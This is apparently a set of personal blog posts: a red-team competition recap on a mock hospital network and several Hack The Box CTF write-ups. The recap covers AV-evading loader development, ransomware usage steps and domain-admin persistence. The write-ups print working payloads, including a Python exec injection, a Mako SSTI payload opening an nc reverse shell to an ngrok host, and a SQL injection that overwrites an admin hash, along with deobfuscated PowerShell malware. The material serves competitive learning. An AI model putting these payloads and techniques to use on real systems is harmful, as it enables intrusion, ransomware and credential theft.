Once done generating our shellcode we can head over and use a nice and simple tool I built to [XOR the shellcode](https://github.com/gsmith257-cyber/RandomTools/blob/main/xor.c). This is one of the simplest ways we can avoid detection by endpoint protection and anti-virus products.

Now with our shellcode XORd we need to get it executed on the target system somehow. That's where our loader comes into play. I tried a few different approaches to this, starting with building my own from scratch. This was a great learning opportunity and I learned some simple tricks for evasion but in the end Windows Defender was catching it most times, even statically. This was because of the pattern of Windows API calls being made inside of the program most likely, like VirtualAlloc followed by WriteProcessMemory.

Well, at this point I was kinda stumped. I went ahead and reached out to a few coworkers and friends about how I could progress from here and write my own loader, along with a few specific techincal questions. They all gave me great ideas and I actually ended up implementing most of them, one I couldn't (importing into a signed DLL) due to the size of the shellcode, but is something I do want to try out with a smaller payload soon.

Now with all of the tips implemented, I built the executable and... IT WORKED! Sessions opened and no detections, even when messing around for a bit with different operations.

Here is what I baked into it, ripping some parts from various GitHub repos:

* Anti-Debugging/analysis
* EDR Unhooking
* Obfuscation of Windows API calls
* Encrypting Shellcode
* Sandbox detection
* Loading shellcode as a resource

Now [here is the final product](https://github.com/gsmith257-cyber/Hellbreaker). It is not anything novel but it does do its job. After one week of using it, and it being submitted to VT a few times throughout the event, here are the VT results I got:

NOTE: Scan with antiscan.me if you are going to continue using the same general codebase. Unfortunately for me, Sliver shellcode is too fat for antiscan.me.

### Ransomware Writing

Now with our loader working as needed we needed a ransomware, as we needed to ransom medical data found on the network to get money (aka points). I decided to quickly write a simple ransomware in Go, using [Rangoware](https://github.com/LuanSilveiraSouza/rangoware) as an outline. Here is [the source](https://github.com/gsmith257-cyber/RandomTools/tree/main/rangoware) and here are the instructions on usage that I wrote into our playbook:

***

* Download windows ransomeware: `curl -L https://tinyurl.com/... -o installer.exe`
* S1n1st3r has created a go based custom ransomware for the event located in the ransomware folder on the github
* Steps:
  1. Download the entire `rangoware` directory
  2. cd into `encryptor`
  3. Compile for Linux with: `go build -o installer -ldflags "-s -w"`
  4. Upload the `installer` binary to target system and run from command line:
     * `chmod +x ./installer`
     * `./installer <target dir to ransomware>`
  5. Once it encrypts the directory it will open port `52343` on the victim machine
  6. To decrypt send `UFdORUQ=` to the victim machine
     * Can use nc for this: `nc <victim machine IP> 52343`
       * Then just paste `UFdORUQ=` and hit enter

***

We actually never ended up using it sadly but it was nice to actually write something in Go for once.

### Competition Start

Now we had reached competition day, or so we thought, and showed up bright and early on Monday... Only to find out the competition starts Tuesday and today was only a training day, and the training doesn't start till 10. We took this time to just get some more work done on our playbook and run through the code we have. We also got to see the setup of the "hospital" and so could start strategizing on what to do.

We ended Monday by working on a [Bash Bunny payload](https://github.com/gsmith257-cyber/RandomTools/blob/main/BashBunnyPayload.txt) to deliver our malware with minimal visuals and without dropping it onto the machines disk.

### Physical Attacks

Now it was Tuesday. The big start date. We came in and at 8 AM the organizers opened up the networks to use. We started out with a ping sweep to see what devices were up on the network, along with having a member snooping around looking for any information left around the "hospital" area. With our initial results from the ping sweep we were able to identify a machine running an h2-console instance with an RCE vulnerability. Immediately we were in and as a user named sysadmin who had sudo ALL permissions. With that we dropped our Linux Sliver beacon on the machine and proceeded to create a socks5 proxy connection to continue scanning but on the internal staff subnet.

Now we had some results on both staff and public networks and our snooper came back with a photo of one of the active directory management dashboards left open that revealed a bunch of internal IPs and allowed us to find even more devices, some we could reach yet from the staff network.

After these scans I realized we needed to get access to a domain joined machine or get credentials for an AD account so we can gather data for Bloodhound. This is where I decided to go to hang around the admissions area, where there was a machine with one or two staff sitting at it to check you in for an appointment. After waiting for a good bit eventually they were both distracted enough that I could quickly plug in the Bash Bunny, wait for the finish light and then unplug and leave.

Once I got back to my computer I see the beautiful text on the console that a new session was added. :tada:

Now we had a domain joined computer (ADMISSIONS1) but unfortunately this user had almost no permissions. We could however look around the machine... And nothing. Also there were no good privilege escalation paths, dang, we would have to go another way.

Now I had to go get an appointment so I could get into an exam room without the security (Blue Team) bothering me and kicking me out. Once I got into the room I looked around and there was an active switch, a Raspberry Pi, a nurse workstation computer that had a domain login screen, and a blood pressure machine. I couldn't login to the nurse computer or the Raspberry Pi, and I couldn't get any good data off the blood pressure machine, despite it having default pins to access the management menus, so I did what all hackers would do... I took the Raspberry Pi's SD card and left.

This turned out to be a good move because we were able to dump the data off of it and find all the scripts and data being used to transmit over HL7, including a CSV file of patient information. The competition ended at this point, because of a terrible network outage that was caused by someone literally bricking the switches, but we felt good with having all this data... Until we came back the next day and the organizers wanted their SD card back and said we couldn't use the data on it. Damn. Well that was unfortunate. Along with this, once the network was restarted, we had lost all our beacons and persistence, and to make things worse, the Linux machine we had compromised was just gone, poof, dust. Not online anymore, and it never came back.

Around the start time on Wednesday we found a note on an open computer with the Staff network password and started poking around it some more, without having to tunnel our traffic over socks5. We used the IPs we had already found and ran some nmap scans, but at least tried to hide them:

```bash
nmap -sS -Pn -sV --data "\xCA\xFE\x09" -v -T2 -D <spoof ip1>,<ip2>,<ip3> <target IP>
```

We were good running this for that day, with the Blue Team not allowed to use some of the fancy products that vendors had brought in for them to try. We got some information and worked on access some more but eventually hit a wall as we prepped a drop box Raspberry Pi to bridge the air-gaped MEDNET network with us through the STAFF network.

During this point I went to try to get some information in another exam room and was able to get RCE on the machine, unfortunately though there wasn't much data and it was on the MEDNET network I couldn't even reach back out to our C2 or other teammates.

Now with some extra data collected from the machine I exited to see all the red teams in flurry of excitement. I ran over to our table to find that a staff member had been overheard on the phone giving credentials for an account and the account had domain administrator privileges. I knew immedietly what to do and took the creds and RDPd into the DC and took a group of disabled accounts and changed their passwords and re-enabled them while giving them DA rights.

Right after this someone changed the accounts password so I was glad we had that persistence with the users now. I used it to then drop a beacon on the DC (DC01) and also to do a DCsync so we can grab their hashes and crack/pass them. We also then took a collection of the AD network using [Rusthound](https://github.com/NH-RED-TEAM/RustHound), which had zero detection by Defender while doing it. We proceeded to then go around the network snooping on machines and eventually found an interesting server that had a lot of data on its W: drive. This machine was named HL7SOUPSVR and we figured it was were all the HL7 data was being stored, as well as transmitted out of, as it had the HL7 SOUP app running on it. We dropped a beacon on the machine and installed persistence as the day was ending and we didn't have enough time to transfer 12 GBs of data before we had to go.

The next day was Thursday, the last day of the competition. I had checked right as I woke up and was super psyched to see our beacons still all calling back to us. We got in and as we started we took all the HL7 data and ransomed it, we got paid and it put us into 1st place! Woohoo!. We next went about getting some more information throughout the network and then all of a sudden I had my beacon on the DC die. This was random, Defender hadn't caught it, it must have been a Blue Team member seeing the process AnsibleUpdater.exe and thinking it was suspicious. This was bad for us because we had it on a few other machines too, and like clockwork they died one after the other before we could really react.

Because of this I went and changed some of the strings and structure of Hellbreaker and recompiled it and renamed it to ciscoedgex.exe because it sounded professional and important, along with the fact I heard the organizers tell the blue team they couldn't mess with the Cisco applications on some machines.

This worked throughout the rest of the day, except a few cases were dropping some files that were no bueno and Defender would delete those and then kill the beacon because it was the PPID. This was a hard lesson learned but a good one and I didn't make that mistake again once I caught on to what was happening.

Luckily, while we didn't have our beacons on these machines anymore we still had creds and hashes with DA access. That was until the DC went down out of the blue. It remained down for over an hour until it came back up but in a reverted state, with none of our hashes and or creds working anymore, besides machine accounts but they had no remote management rights.

We were locked out of the AD network now with no way in and no good attack vectors, at least from the collection I had. We also were starting to get IP banned based on our network traffic at random times and so had to start changing our MAC addresses and rejoining (which we found out after, they had a way to detect and then terminate all TCP connection).

We proceeded from here by finishing up working on our drop box in order to get on MEDNET and finally got it working. I booked an appointment and walked in, plugged it into a open Ethernet port on a n exposed switch, placed a IP phone on top of it and made sure I didn't look suspicious. After leaving I came back to our team to see what we could find on the network. We were hoping to see traffic for all of the medical devices or one of these bad boys:

Unfortunately all we got was ARP packets on our capture, which it turns out was someone trying to ARP poison the network and they ended up sending over 4 GBs of just ARP packets in one day. Insane.

From here we decided to go after some of the other points instead. These were all mostly physical challenges. The main one was to steal the baby from the NICU and get out past the door down the hall without tripping the alarms. Inside it was kinda like an escape room. I used a pin we stole from watching people enter and then, once in, locked pick some boxes to find a manual for the safe, which had the default code still active. The hard part though was opening this weird old spinning safe that I hadnt seen in forever and have literally never opened. I got it after a few mintues though and inside was a ID badge that I could login to the computer with and discharge the baby from the room with. With that I was able to remove the monitor from the baby, which is usually a heartbeat monitor but it was a magnet, as the baby is a doll, and cut the zipties holding it together.

Now I was able to exit the room with the baby and run for the door but right as I get close it locks. Damn. Turned out there was an ankle monitor on the baby that when it got close to the door, without being discharged through a different portal, would lock the door. I had gotten the baby out of the room though so that was a good amount of points but we wanted the rest for escaping.

We actually did escape twice. Once with a member sneaking in and holding the door once I stole the baby and once by a team member timing the reset correctly to escape after the baby had tripped the alert earlier. Both times we were denied points though because we needed to do it though "cyber" means.

After all this we placed 3rd out of the red teams but we did learn a ton and I found a renewed passion for red teaming and new passion for malware development.

Thanks for reading!


# 2023 HTB Cyber Apocalypse Challenges

Writeups for 2023 Hack the Box Cyber Apocalypse CTF

Here are some of the challenges I solved. I only wrote up the ones I think anyone above script-kiddie level would have trouble with due to time.

{% file src="/files/rmZVPQkVGqI3DtAgWcaw" %}


# Web - SpyBug

Hack the Box Cyber Apocalypse CTF 2023, SpyBug Web Challenge Writeup

This challenge starts off like most normal Hack The Box web challenges, with a file download. The file is a zip containing the Docker image used to create the challenge.

Now, before I spin up the instance, I like to look through the back end and see what it is doing and if there's anything interesting I should start looking at when I spin up the container. In this case I saw an API that was for the "agents" to reach out to in order to register, upload audio, and edit their info.

<figure><img src="/files/w4UxTt7cCmM4nm68hGsU" alt=""><figcaption><p>Registering an agent</p></figcaption></figure>

Right off the bat I had it in my mind this had to do with a unrestricted file upload type vulnerability. Boy was I wrong. I wasted a few hours trying to get something to work with that and got nowhere.

I did get one good thing out of this though... I can upload a file with whatever contents I want, as long as it meets the regex check on the back end. (We'll come back to this)

Now, after I had realized its probably not a file upload vulnerability that we have to exploit, I went and looked for other potential vulnerabilities. That is when I came upon the panel.pug file. This page was displaying the admin panel to the bot that views it every 50 seconds. This meant that if I could exploit a Cross-Site Scripting (XSS) vulnerability in this page I could grab the flag from the page, as form viewing the source code, the flag is rendered as a header HTML tag when page is loaded by the admin.

So this PUG file was important because it had[ unsafe interpolation](https://pugjs.org/language/interpolation.html) that could be used in our XSS attack. The only problem is, and its a big one, there are Content-Security-Policy headers for `script-src 'self'` and `object-src 'none'` . This forces us to use only code on the site and we cant reach out to our own page directly through the XSS vulnerability to steal cookies or anything. After a good amount of research and thinking I realized that we need to chain the file upload vulnerability with this XSS vulnerability so that we can upload our own JavaScript and call it through the XSS vulnerability. You can see my code that I used for this below:

<figure><img src="/files/jkTjXTOiuexgSsnq6nHY" alt=""><figcaption><p>Uploading the file, note the commented out "RIFFAAAAWAVE" at the bottom, this was used to bypass the upload regex check.</p></figcaption></figure>

<figure><img src="/files/lT5ug1W1eDjOsEjkCnIW" alt=""><figcaption><p>Exploiting the XSS vulnerability and calling the JS code I had previously uploaded</p></figcaption></figure>

Now that I had uploaded the Javascript code, which would search the page for anything with "HTB{" in it and send it back to me, and I had set the agent details to exploit the XSS vulnerability, all I could do is wait.

Not long after I got a request which had the flag!

<figure><img src="/files/0c2YK1mwtydFTxj97sAB" alt=""><figcaption></figcaption></figure>

Also, out of 6,500+ people participating in the competition, I was in the first 100 to complete the challenge and this was on the second day. I thought that was pretty neat.

<figure><img src="/files/Rw9EkljS2WxGwpJJbNyz" alt=""><figcaption></figcaption></figure>

PWNED!!!


# Web - Passman

Hack the Box Cyber Apocalypse CTF 2023, Passman Web Challenge Writeup

So if you have read my blogs or been following me for a little you know I love GraphQL security. This challenge had just that. A little easier than I had hoped for but it was cool to see so I wrote it up.

To start off, after spinning up the image, I went and messed around on the site while intercepting traffic through BurpSuite. After a little I stopped and looked through the traffic and was  pleasantly surprised to see a /graphql endpoint!

<figure><img src="/files/z7YcCM3t0JOkqmoKYMdG" alt=""><figcaption><p>GraphQL API traffic to challenge site</p></figcaption></figure>

I immediately knew what to do. I fired up GraphiQL, a great tool for looking at GraphQL endpoints, and pointed it towards the endpoint with my authentication token.

Immediately I saw it had introspection enabled, which allows us to look around the schema. Most of the mutations and queries were normal but the update password one seemed like it could have an IDOR vulnerability in the user ID being provided as an argument. I went and tested it, and it worked! I had updated the admin accounts password!

<figure><img src="/files/H2xfR6dSDy5wkPYIbLwc" alt=""><figcaption><p>Updating the admin password to "test"</p></figcaption></figure>

After this I logged in and the flag was waiting there for me.

<figure><img src="/files/ds3DgQMdyq8vFqQYDlEh" alt=""><figcaption></figcaption></figure>

PWNED!!!


# Misc - Persistence

Hack the Box Cyber Apocalypse CTF 2023, Persistence Misc Challenge Writeup

The challenge description says that if we request the /flag endpoint, 1 in a 1000 times it will return the flag. This was stupid easy to do with scripting.

<figure><img src="/files/cAl0wN9yL58aKRJzfecI" alt=""><figcaption><p>Simple Python script to request until it gets the flag</p></figcaption></figure>

PWNED?


# Forensics - Relic Maps

Hack the Box Cyber Apocalypse CTF 2023, Relic Maps Forensics Challenge Writeup

We started off with a file download. This file is a Microsoft OneNote attachment, all the rage for phishing a few months ago (and still a bit today). I immediately went and dropped it into CyberChef so I can mess with it.

The first thing I ran on it was strings and tada! We got the commands that would execute if you enabled it.

<figure><img src="/files/dktnSelpBNzDMCaiWMPq" alt=""><figcaption><p>relicmaps.one strings</p></figcaption></figure>

In the commands run we see two main parts. Both are similar, with the usage of powershell to download a file and then running the file. The main one of interest for this is the windows.bat file that gets renamed to system32.bat.

If we download the file from the link we get this:

<figure><img src="/files/SMNugkmJORdg48IZOnVW" alt=""><figcaption><p>window.bat contents</p></figcaption></figure>

In the contents we can see it declaring a ton of variables and then combining them to create commands that will actually run. To make this readable I used sublime to edit out junk and created a python version of it and had it print it out to me.

```python
eFlP="set "
ualBOGvshk="ws"
...
fLycQgNMii="oin "
KsuJogdoiJ=" -no"
djeIEnPaCg="tsWi"
brwOvSubJT="e =\" "
TOqZKQRZli="uZOc"
test1 = CJnGNBkyYp + UBndSzFkbH + ujJtlzSIGW + nwIWiBzpbz + cHFmSnCqnE + kTEDvsZUvn + JBRccySrUq + ZqjBENExAX + XBucLtReBQ + BFTOQBPCju + vlwWETKcZH + NCtxqhhPqI + GOPdPuwuLd + YcnfCLfyyS + JPfTcZlwxJ + ualBOGvshk + xprVJLooVF + cIqyYRJWbQ + jaXcJXQMrV + pMrovuxjjq + KXASGLJNCX + XzrrbwrpmM + VCWZpprcdE + tzMKflzfvX + ndjtYQuanY + chXxviaBCr + tHJYExMHlP + WmUoySsDby + UrPeBlCopW + lYCdEGtlPA + eNOycQnIZD + PxzdwcSExs + VxroDYJQKR + zhNAugCrcK + XUpMhOyyHB + OOOxFGwzUd
#cls
test2 = dzPrbmmccE + xQseEVnPet
test3 = eDhTebXJLa + vShQyqnqqU + KsuJogdoiJ + uVLEiIUjzw + SJsEzuInUY + gNELMMjyFY + XIAbFAgCIP + weRTbbZPjT + yQujDHraSv + zwDBykiqZZ + nfEeCcWKKK + MtoMzhoqyY + igJmqZApvQ + SIQjFslpHA + KHqiJghRbq + WSRbQhwrOC + BGoTReCegg + WYJXnBQBDj + SIneUaQPty + WTAeYdswqF + EdLUuXiTNo + rVOFKTskYR + nMLIkcyFZj + jtkYEPXtKX + RWcegafVtf + KhyyrSrcKr + zDUDeXKPaV + VZAbZqJHBk + XClTzcVMGM + xVIsxobyZi + qpUykKHwzb + iKAAuWsbec + cYinxarhDL + olHsTHINJO + uynFENuiYB + WauWfrgGak + tzSNMWchGN + oFspIELDJK + FijcPoQLnC + AbMyvUGzSH + LmCknrHfoB + GDXqElqPYy + gqUdnmSTUN + YlKbYsFYPy + GLwLVWewUj + EQAuBusyXb + yOkBDuSVrl + FraARuTjiq + hwZKiiLqAE + ahbOZSBViB + djeIEnPaCg + AiqHTcPzsv + JCuNlxqlBZ + TYbHmXrqgV + sLNudRRtUX + dbDMRBPrxg + XEyDmChJvW + KytxcYPZKt + GWrDWSvoPL + haSZYOmkiA + JhYYmEHfJT + LPGeAanVGt + hTTJOKGuzo + MFRjJyYsrs + kpEWZrtOzX + BrDOtQoojB + YnGvhgYxvb + cUDojRpXKx + rSVBNvbdPT + kJjQuXIjOT + tVtxVGNpFB + BqEMjgsfHM + fVHBRsLNUl + jgiQdwyxFg + HLynrUfwGo + FCBcNynRGD + VavtsuhNIN + HUAAetwukX + nogFGGEgdF + iHRclHpeVX + MrNTGKcbYu + bTHJpHTPMM + QbKdEZdxpx + drymkVAnZW + DDiJEpaiME + OAsjgKHKoH + HFLAqJuuyu + gFQQimTbzp + YULKJDZpgz + oQYrpYRHsU + VGKsxiJBaT + RGlZIMTaRM + JenYfqHzBk + vmIEtsktnA + TypmIIEYJC + eQPFkQsLmh + AkaPyEXHFq + BANrSlObpx + LIQYgFxctD + ZygfZJxAOd + KXttaDcyMZ + brwOvSubJT + hVncqdtHrj + OonlMOpxYC + CZpuCIcrKh + owRVWPJqcX + jugDlMdkcG + DXdgqiFTAH + acXjUrxrpX + eYuashSMjP + ESpdErsKEO + kQQvXhxXIT + pLUeCEDcNj + pTKKchMUFD + ZMNBNnhYdl + KVdpASYkBZ + OpWuyrggtP + uDsfTCYsro + wEZCzuPukj + jCsFOJQsdv + hbFnQgCXwX + UFSmCjquVd + BMVjGSkNrk + MFpVhvZMMs + SRYmoDJgcF + svwZUufvHX + WPGlloqWfh + kEHDlJOIVc + jdKMRqipbM + pEeOvclMbZ + nMbUuONTOk + GwAFOSfUtV + gbVsRGzTij + ybHVOwcPrc + CpAQgSdzaC + XqtgTmRIdO + pUKFMEPFQs + QpDqsQAemY + CZTFliIBbC + EuMCNHEVeC + dyJHMHMcNc + LNwemqbftD + VnDoNvCbDL + mFZJVdqlTD + vGOYQQYIpx + GzBAHPVuTq + fLycQgNMii + ZPlPiozEyW + xULgeMdzcg + iVrCyJhMiJ + dlzhxQnMss + pqWXTkasXe + doKcadyJqy + hNwOTmvEJo + yqhJQSZuJo + JPOdGPAwht + rEvTlCThdH + PwJJFMgamh + eeacPrYshd + LYxpWUVnyn + YRqcyngfyU + IAkZpnEseT + DAaZVQYtML + QTBYjmNXEB + lSUnvlNyZI + pCjFJxRqgH + oMsMdPYmPd + AGOCIKFMEK + dAuevoJWoL + uwRWnyAikF + mBIWiJNHWZ + RfMwENsorP + gbXeIdPSoj + kxCYxBSxVM + AbZpTpKurz + glRvzlEEoe + TVsNOuCNZd + VUsEoebHks + tuAPcYGhzl + WojQSFImBz + NXvoEmTmgu + jWtWLzuDKP + NvnNgHLBLJ + vPgKEvZmlQ + ftaecaUnft + lfCLMrJHhW + ArAxZuPIrp + zhsTKtujLg + MxwsyqmvYm + MsfoqNTDfI + klVPUdMJas + XzWakcViZI + htJeDhbeDW + ARecVABHyu + EDuGpmwedn + SKEwAQBRlN + bIgeRgvTeJ + AnKEeEZdOq + KXapePmHCe + YKwLsVwqOj + QCZuMFaZsV + RycUceHQZc + TOqZKQRZli + hIpFAiXGDz + PmpGnAHBIo + nGqMpclaJV + NbOjNijxuU + hbnAmGyJMk + jpqWVBsCpx + WXWHLOygSe + rjhOhltPzI + DCnzMxKRnm + QGiWXkfFPy + isQISZiBPJ + iCcGUuJxVn + dGSGnKbkQW + gNabAkLFGN + pibEdoDBbD + AHKCuBAkui + YYKSCuCbgJ + IeRiYUFnCZ + hzjnwzdyGY + KAlyOryibJ + MBvrUwPCDz + WmHvayPxwd + reviZiSttH + wwmTmFdRsZ + JBUgbyTPxp + BaMYsIgnsM + DwiWdAaOiv + vXewtPjogB + odWdfvJnBE + yPzFwnsYdA + xfHbUEWpFC + ySgQyAAfQH + QMmDXFyyag + xllGdjvUjB + zuIYfGJIhV + MmhvJKSdep + fxpyemHAMo + eFWpiweoyr + WQqetkePWs + qsPTvcejTS + YiVTQhqRnm + GEFNspgkfU + iREuYMPcTg + rVuFsOUxnm + UmCJMMMcBg + VUeZKgDBUe + roXhULjavE + uIWSZVpUHl + ZNBNkxQuUl + ktDjVGpvOa + CMHWMmXlZO + RITIeDNkWx + UPfjubfNXt + GTgGJngEbX + zFvgtBzUer + TfyrgNGxBL + hknFiXCnZQ + xijYXotZPT + BlIFABuPAW + GJcpQprPXv + YmUoUKWAtR + tHHIjVCHeH + DNNdkNfTiI + XEcuUpquLQ + EUwICZcugV + MJKqSlzRdg + FcrKUOEnOU + EiWocIreAk + LLNnWnTLBJ + QzqEkBCLON + uOGlqENvnk + TuqTvTpeOG + USLedfRsdA + fFqNPWfBWr + AyyrPvjwjr + mxXhSCdBil + MusMeoeDey + OOiwgwuupI + WvjMoIIiUn + TEtLFfgLmA + rFsKCxpAbv + hImzprlFyw + GVIREkvxRa + qIhOqqdyjR + shhyfkrTvn + UAnQUvXBfs + bSIafzAxiZ + oNvGdyNkLt + SCbDgQuqTU + tBsRPAyhtG + KUKwZheGNw + INPLAzQfUo + ekEoGMuERC + aGQeJYSFDZ + LODxmGMGqq + KtmeCApwQn + MAPkvbWKbC + HlBVDpGgba + ZNnASGtLCj + IwOqmlYsbl + JbFOJyRrBm + TiuQnZmosP + HkiSTlwlIs + rofQqYizRu + OckpqzbYcn + YJZmDySMUy + cGJiVEdEzp + QNxYaFZSBu + jxjvtHoTnR + fvEtritbuM + wxzMwkmbmY + yZlAoExoOn + pjrIjvjdGR + mYyPXMYwYi + vnHosfjdeN + LfngwmfRCb + bivuMABwCB + GapFScCcpe + lfYSggLrsL + GhTXhmRnCR + ENADhKPHot + KdByPVjCnF + PjdRUyhsyG + kpzxAxFvLw + rddZbDFvhl
#exit /b
print(test1)
print("Second: \n")
print(test2)
print("Third: \n")
print(test3)
```

Using this I got the commands being run on the system. From that I gathered it was trying to hide that it was running powershell commands by copying the powershell executable and using the copy instead. With powershell it was then decrypting an AES encrypted payload decompressing it from GZip and then running it. I modified the powershell to try to print this out so I could see what the payload was but it kept breaking.

To fix this I had it print the contents to a output.gz file like this:

<figure><img src="/files/y1W40ayS6334BXYizVXR" alt=""><figcaption><p>Decrypting the payload</p></figcaption></figure>

Once I had it saved I threw it into CyberChef and got the flag!

<figure><img src="/files/EXRlGVMq8lYLBGee4csI" alt=""><figcaption><p>Flag in CyberChef</p></figcaption></figure>

PWNED!!


# Forensics - Artifacts of Dangerous Sightings

Hack the Box Cyber Apocalypse CTF 2023, Artifacts of Dangerous Sightings Forensics Challenge Writeup

With this challenge we started with a disk image. Now, this image was a VHDX file. This just happens to be pretty much unsupported by Autopsy, the tool I really wanted to use for this. Now this caused me a quick headache but I got it working by using FTK Imager to mount the image on my machine and then open the mounted disk as a data source with Autopsy.

Now with it mounted I could let Autospy analyze the disk and I could poke around easier. After poking around for about 10 minutes I came across the ConsoleHost\_history.txt file. In here was the powershell command history... Very spicy.

It was indeed very spicy and had something called "finpayload" being hidden inside ActiveSyncProvider.dll.

<figure><img src="/files/LEdzEdXmCvFdVIrIRyUR" alt=""><figcaption><p>In the bottom right you can see the text in the file (Powershell history)</p></figcaption></figure>

Now, because we had the whole disk, we can go grab that ActiveSyncProvider.dll file and extract whats in there. Easy Peasy.

<figure><img src="/files/8wClmMoTwqRRC1e2dDt7" alt=""><figcaption><p>LOTS of encoded powershell</p></figcaption></figure>

After extracting it we are left with so much encoded powershell. Yuck. Lets get it back into plaintext...

<figure><img src="/files/7ttVbP7JUoqkzHothxtJ" alt=""><figcaption><p>The decoded powershell</p></figcaption></figure>

<figure><img src="/files/YSgMlTsQenXlt9wQcPwI" alt=""><figcaption><p>My honest reaction</p></figcaption></figure>

Ew. This is even grosser than the encoded powershell.

Where do I even start?

I didn't know, but after some googling I figured out what it was doing. It was starting by creating variables with values of 0, 1, 2, 3, etc. This was done with this section:

```powershell
${[~@} = $(); ${!!@!!]} = ++${[~@}; ${[[!} = --${[~@} + ${!!@!!]} + ${!!@!!]}; ${~~~]} = ${[[!} + ${!!@!!]}; ${[!![!} = ${[[!} + ${[[!}; ${(~(!} = ${~~~]} + ${[[!}; ${!~!))} = ${[!![!} + ${[[!}; ${((!} = ${!!@!!]} + ${[!![!} + ${[[!}; ${=!!@!!}  = ${~~~]} - ${!!@!!]} + ${!~!))}; ${!=} =  ${((!} - ${~~~]} + ${!~!))} - ${!!@!!]}; ${=@!~!} = "".("$(@{})"[14]+"$(@{})"[16]+"$(@{})"[21]+"$(@{})"[27]+"$?"[1]+"$(@{})"[3]); ${=@!~!} = "$(@{})"[14]+"$?"[3]+"${=@!~!}"[27]; ${@!=} = "["+"$(@{})"[7]+"$(@{})"[22]+"$(@{})"[20]+"$?"[1]+"]";
```

I didn't know it but apparently "++${\[\~@}" is equal to 1 in powershell. And each integer can be encoded in a similar, weird, way.

I got to this by using powershell ISE and putting a breakpoint at the end and then hovering over each variable to get their value. I would then go back to the saved text I had and find and replace all with the appropriate character/integer.

At the end of that I had this file:

{% file src="/files/HUJfHlYYae2OPw1eWRAe" %}
Almost done...
{% endfile %}

With this I could just change the iex at the end of the file to an echo and get the contents by running it. And thats what I did.

<figure><img src="/files/5VmKDMPvcv18e2uKH20v" alt=""><figcaption><p>The Flag!</p></figcaption></figure>

There's the flag! And here's the fully translated file:

{% file src="/files/t7JkYuDSc7lGSw07c9qI" %}

PWNED!!


# 2022 HTB HackTheBoo CTF

2022 HackTheBox HackTheBoo CTF

I completed a few challenges from this CTF and thought it was simple but also fun and worth some quick writeups. Hope you enjoy


# Web - Evaluation Deck

2022 HTB HackTheBoo CTF - Web - Evaluation Deck Writeup

For this challenge we start with a website and source code for this site. Before even looking at the site I started quickly looking through the source code for anything interesting.

Doing this quick skim I immediately saw a potential code injection vulnerability in '/web\_evaluation\_deck/challenge/application/blueprints/routes.py'. This injection point was an exec function that was doing math for the game on the website, see the code block below:

```python
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result) #This is the target
return response(result.get('result'))
```

On the website, when you click a card, it sends a POST request that contains the current health, operator, and attack power. As you can see in the code block, the current health and attack power are set to integers and so cannot be modified to do anything nasty by us really. The operator though, usually '+' or '-', can be modified by us and is not set to any type or filtered. I could tell this is where we need to inject.

Now this took a few tries to get it to work correctly but I eventually crafted a working payload to put in the operator argument:

```python
; import os; f = os.popen(r'cat /flag.txt').read(); result = f#
```

In order to edit this argument you will need to use Burp Suite and get a copy of the games POST requests by intercepting it with Burp's proxy. Once you have it you can play around with it as needed in repeater until you get it working like this:

<figure><img src="/files/kSQMrT8jakR3EATkMAO6" alt=""><figcaption><p>Got the flag!</p></figcaption></figure>

&#x20;A nice and fun PWN!


# Web - Spookifier

2022 HTB HackTheBoo CTF - Web - Spookifier Writeup

As I did with Evaluation Deck, I was skimming though the source code that you get when you start this challenge and saw something that stood out to me. Mako was being imported. Now when you have done enough web CTF challenges and worked doing web attacks before you will begin to pick up on things you've seen or read before and Mako is one I remember reading about on HackTricks' server side template injection (SSTI) page, linked [here](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#mako-python).

Now that I knew what the attack method was I needed to find where to exploit it. This took a quick second as I read through the source code and found where it was in the generate\_render function, that you can see in the code block below.

```python
def generate_render(converted_fonts):
	result = '''
		<tr>
			<td>{0}</td>
        </tr>
        
		<tr>
        	<td>{1}</td>
        </tr>
        
		<tr>
        	<td>{2}</td>
        </tr>
        
		<tr>
        	<td>{3}</td>
        </tr>

	'''.format(*converted_fonts)
	
	return Template(result).render()
```

The injection point would be at {3} as the rest were converting our text to special characters that wouldn't be injected.&#x20;

After some quick googling to find some payloads and some trial and error I got a reverse shell using nc and ngrok, as the the website was not on a VPN. The final payload for this was:

```
${self.module.runtime.exceptions.traceback.linecache.os.system("nc 2.tcp.ngrok.io 16299 -e sh")}
```

Once this was input I got a reverse shell back, as seen below, and the rest was history.

<figure><img src="/files/YQBp0oEVyD2BFGCQRnda" alt=""><figcaption></figcaption></figure>

GGs


# Web - Horror Feeds

2022 HTB HackTheBoo CTF - Web - Horror Feeds

Now this was a tricky challenge. It was rated easy but was definetly more of a medium challenge.

To start we got the back end of the website and a link to the site we spun up. Skimming through you could identify this was going to be an SQL injection attack almost right away and I found the injection point pretty soon after realizing this.

The injection point was located in the register API call for the site. In order to exploit this I turned to good ol' SQLmap. Capturing a register request with Burpsuite, I saved it as a txt file and passed it to SQLmap:

```
sqlmap -r req.txt --level=3 --risk=3 --dbs
```

After letting it run for a few minutes it found a solid injection in the username field. Using this I was able to dump data but when I went to dump the user database, SQLmap had filled it up with nonsense as it was testing it. To work around this I just executed a MySQL query to grab the hash of the user 'admin'. This worked but the hash in the database was invalid. So even if you had the password for admin it would error out and not let you login as its not a valid bcrypt hash.

Now this took me a little to figure out but eventually I got a solution, I was going to write my own hash for admin into the database. SQLmap couldn't do this though. I needed to write my own custom query. Luckily we had access to the database and knew what tables there were and so after a few hours of trial and error, and a lot of google, I got a working SQLI:

```sql
test"="test" AND (1+1) or 'test',"test2") UNION ALL select 'admin','test' ON DUPLICATE KEY UPDATE password = '$2a$12$ZxNKpqgT1kBsIKIT1Nt0huQcAUMuBO2fqsNbEoHMHvHcWluyMla4i' -- -
```

This payload added the bcrypt hash, this one is the hash for 'test', to the database for admin. Now, using the login page, I could login with 'admin' and the password 'test' and boom, I had the flag!

PWNED!


# Forensics - Wrong Spooky Season

2022 HTB HackTheBoo CTF - Forensics - Wrong Spooky Season Writeup

For this challenge we got a single PCAP. As usual with a PCAP, we opened it in Wireshark so we can see whats inside.

It wasn't a very large PCAP and just skimming through we could see some unusual traffic. Take a look at the picture below and see if you can spot whats wrong here:

<figure><img src="/files/l0pn7UHxsPLU2wMT1Ewc" alt=""><figcaption></figcaption></figure>

If you didnt spot it, its the cmd=\*. Seeing an argument for cmd= anything, let alone 'whoami' and 'id', is a red flag. This was some sort of jsp webshell that an attacker was abusing. Following this along we see the attacker get a reverse shell and right-clicking and following the traffic shows us what is being communicated to and from the attacker over this connection.

